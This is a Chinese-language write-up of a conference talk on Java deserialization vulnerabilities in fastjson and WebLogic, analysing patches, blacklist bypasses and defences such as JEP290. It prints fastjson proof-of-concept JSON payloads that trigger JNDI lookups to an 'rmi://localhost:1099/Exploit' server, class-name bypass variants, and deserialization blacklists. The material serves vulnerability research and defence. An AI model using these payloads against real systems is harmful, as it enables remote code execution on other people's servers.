先知议题 Java反序列化实战 解读

作者:廖新喜

公众号:廖新喜

1 议题和个人介绍

1.1 议题概述

2017年又是反序列漏洞的大年,涌现了许多经典的因为反序列化导致的远程代码执行漏洞,像fastjson,jackson,struts2,weblogic这些使用量非常大的产品都存在这类漏洞,但不幸的是,这些漏洞的修复方式都是基于黑名单,每次都是旧洞未补全,新洞已面世。随着虚拟货币的暴涨,这些直接的远程执行代码漏洞都成了挖矿者的乐园。

本议题将从那些经典案例入手,分析攻击方和防御方的对抗过程。首先是fastjson的最近的安全补丁的分析,由于黑名单做了加密处理,这里会展开如何得到其黑名单,如何构造PoC。当然2018年的重点还是weblogic,由我给大家剖析CVE-2018-2628及其他Weblogic经典漏洞,带大家傲游反序列化的世界,同时也是希望开发者多多借鉴做好安全编码。

1.2 个人简介:

本文作者来自绿盟科技,现任网络安全攻防实验室安全研究经理,安全行业从业七年,是看雪大会讲师,Pycon大会讲师,央视专访嘉宾,向RedHat、Apache、Amazon,Weblogic,阿里提交多份RCE漏洞报告,最近的Weblogic CVE-2018-2628就是一个。

个人博客:xxlegend.com

2 反序列化入门

序列化和反序列化是java引入的数据传输存储接口,序列化是用于将对象转换成二进制串存储,对应着writeObject,而反序列正好相反,将二进制串转换成对象,对应着readObject,类必须实现反序列化接口,同时设置serialVersionUID以便适用不同jvm环境。

可通过SerializationDumper这个工具来查看其存储格式,工具直接可在github上搜索.主要包括Magic头:0xaced,TCOBJECT:0x73,TCCLASS:0x72,serialVersionUID,newHandle

使用场景:

  • http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4sl),MII等
  • Servlets HTTP,Sockets,Session管理器 包含的协议就包括JMX,RMI,JMS,JNDI等(xacxed)
  • xml Xstream,XMLDecoder等(HTTP Body:Content-Type:application/xml)
  • json(Jackson,fastjson) http请求中包含

反序列攻击时序图:

常见的反序列化项目:

  • Ysoserial 原生序列化PoC生成
  • Marshalsec 第三方格式序列化PoC生成
  • Freddy burp反序列化测试插件
  • Java-Deserialization-Cheat-Sheet

3 fastjson

3.1 简介

Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序 快速匹配”的算法,号称Java语言中最快的JSON库。提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化,示例代码如下:

User user = new User("guest",2);
String jsonString = JSON.toJSONString(user)
String jsonString = "{"name":"guest","age":12}"
User user = (User)JSON.parse(jsonString)

Fastjson PoC分类

主要分为两大类,一个是基于TemplateImpl,另外就是基于基于JNDI,基于JNDI的又可分为

a) Bean Property类型
b) Field类型

可以参考Demo:https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson为了防止研究人员研究它的黑名单,想出了一套新的黑名单机制,这套黑名单是基于具体类的hash加密算法,不可逆。如果是简单穷举,基本算不出来,后来我想到这些库的黑名单肯定都在Maven仓库中,于是写了个爬虫,爬取Maven仓库下所有类,然后正向匹配输出真正的黑名单类。

3.2 fastjson最近的几个经典漏洞

下面这段代码是fastjson用来自定义loadClass的实现

   public static Class<?> loadClass(String className, ClassLoader classLoader) {
//省略
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);

首先我们来看一个经典的PoC,{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," "autoCommit":true},关于这个PoC的解读在我博客上有,这里不再详述,但是今天我们要讲的是前面贴出的一段loadClass导致的一系列漏洞,首先看1.2.41的绕过方法是 Lcom.sun.rowset.RowSetImpl;,当时看到这个PoC的时候就在想官方不会只去掉一次第一个字符 L和最后一个字符 吧,果不其然,在官方的修补方案中,如果以 L打头, 结尾则会去掉打头和结尾。当时我就发了一个感概:补丁未出,漏洞已行。很显然,1.2.42的绕过方法是 LLcom.sum.rowset.RowSetImpl;;,细心的读者还会看到loadClass的第一个if判断中还有 [打头部分,所以就又有了1.2.43的绕过方法是 [com.sun.rowset.RowSetImp. 在官方版本1.2.45黑名单中又添加了ibatis的黑名单,PoC如下: {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}},首先这是一个基于JNDI的PoC,为了更加理解这个PoC,我们还是先来看一下JndiDataSourceFactory的源码。

public class JndiDataSourceFactory implements DataSourceFactory {
public static final String DATA_SOURCE = "data_source";
//省略
public void setProperties(Properties properties) {
try {
InitialContext initCtx = null;
Hashtable env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
//省略
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}
} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}

其本质还是通过bean操作接口set来调用setProperties,然后触发JNDI查询。

4 weblogic

Weblogic是第一个成功商业化的J2EE应用服务器,在大型企业中使用非常广泛。在Oracle旗下,可以与其他Oracle产品强强联手,WebLogic Server Java EE 应用基于标准化、模块化的组件,WebLogic Server 为这些模块提供了一组完整的服务,无需编程即可自动处理应用行为的许多细节,另外其独有的T3协议采用序列化实现。下图就是weblogic的历史漏洞展示:

CVE-2015-4852

基于T3

  • 新的攻击面
  • 基于commons-collections
  • 采用黑名单修复
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *
javassist* *
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure
  • 作用位置有限
weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannelInputStream
weblogic.rjvm.MsgAbbrevInputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638

首先来看下漏洞位置,在readExternal位置,

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
ByteArrayInputStream var4 = new ByteArrayInputStream(this.buffer);
ObjectInputStream var5 = new ObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {

再来看看补丁,加了一个FilteringObjectInputStream过滤接口

            public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
//省略
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)in)
BufferInputStream is = this.payload.getInputStream();
FilteringObjectInputStream var5 = new FilteringObjectInputStream(var4);
//省略
try {
while (true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {

FilteringObjectInputStream的实现如下:

   public class FilteringObjectInputStream extends ObjectInputStream {
public FilteringObjectInputStream(InputStream in) throws IOException {
super(in);
}
protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0 && ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
return super.resolveClass(descriptor);
}
}
}

其实就是在resolveClass位置加了一层黑名单控制。

基于XMLDecoder

CVE-2017-3248

   private static class ServerChannelInputStream extends ObjectInputStream implements ServerChannelStream {
protected Class resolveClass(ObjectStreamClass descriptor) throws ClassNotFoundException, IOException {
String className = descriptor.getName();
if(className != null && className.length() > 0
&& ClassFilter.isBlackListed(className)) {
throw new InvalidClassException("Unauthorized deserialization attempt", descriptor.getName());
} else {
Class c = super.resolveClass(descriptor);
//省略
}
}
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}

CVE-2017-3248 这个漏洞是根据JRMPListener来构造的,从这个补丁也可以看出,在resolveClass和resolveProxyClass都设置了黑名单。

CVE-2018-2628

这个漏洞是我报给Oracle官方的,但是他们并没有修复完全,导致后来这个漏洞被滥用。

  • 完美绕过CVE-2017-3248
  • 基于StreamMessage封装
  • 利用java.rmi.activation.Activator绕过补丁中对java.rmi.registry.Registry的限制
  • Proxy非必须项

攻击示意图如下:

简单分析可见:http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/

5 反序列化防御

5.1 Weblogic防御

  • 过滤T3协议,限定可连接的IP
  • 设置Nginx反向代理,实现t3协议和http协议隔离
  • JEP290(JDK8u121,7u131,6u141),这个机制主要是在每层反序列化过程中都加了一层黑名单处理,黑名单如下:

黑名单:

maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTra
nsactionManager;
!sun.rmi.server.UnicastRef;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*

当然也有失效的时候,就是发现了新的gadget。这也促使Oracle开始放弃反序列化支持。

5.2 原生反序列化防御

  • 不要反序列化不可信的数据
  • 给反序列数据加密签名,并确保解密在反序列之前
  • 给反序列化接口添加认证授权
  • 反序列化服务只允许监听在本地或者开启相应防火墙
  • 升级第三方库
  • 升级JDK,JEP290

6 招人

绿盟科技Web攻防实验室欢迎各位应聘,招聘大牛和实习生。团队专注于最前沿的Web攻防研究,大数据分析,前瞻性攻击与检测预研.

联系邮箱: liaoxinxi[@]nsfocus.com 或者liwenjin[@]nsfocus.com